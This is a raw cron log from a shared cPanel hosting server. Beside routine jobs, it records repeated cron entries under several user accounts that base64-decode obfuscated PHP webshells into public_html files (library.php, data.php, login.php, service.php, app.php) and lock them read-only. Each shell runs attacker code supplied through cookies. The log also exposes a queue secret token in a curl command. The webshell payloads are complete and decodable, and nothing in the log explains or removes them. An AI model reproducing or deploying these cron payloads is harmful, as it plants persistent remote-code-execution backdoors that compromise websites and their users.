Mar  1 15:45:01 medusa CROND[29543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:45:01 medusa CROND[29550]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:45:01 medusa CROND[29545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:45:01 medusa CROND[29558]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:45:01 medusa CROND[29561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:45:01 medusa CROND[29560]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:45:01 medusa CROND[29538]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:45:02 medusa CROND[29613]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:46:01 medusa CROND[18674]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:46:01 medusa CROND[18711]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:46:01 medusa CROND[18713]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:46:01 medusa CROND[18712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:46:01 medusa CROND[18714]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:46:01 medusa CROND[18717]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:46:01 medusa CROND[18720]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:46:01 medusa CROND[18721]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:46:01 medusa CROND[18722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:46:01 medusa CROND[18725]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:46:01 medusa CROND[18727]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:46:01 medusa CROND[18728]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:46:01 medusa CROND[18729]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:46:01 medusa CROND[18715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:46:01 medusa CROND[18746]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:47:01 medusa CROND[8515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:47:01 medusa CROND[8591]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:47:01 medusa CROND[8653]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:47:01 medusa CROND[8654]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:47:01 medusa CROND[8655]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:47:01 medusa CROND[8656]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:47:01 medusa CROND[8660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:47:01 medusa CROND[8664]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:47:01 medusa CROND[8661]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:47:01 medusa CROND[8666]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:47:01 medusa CROND[8667]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
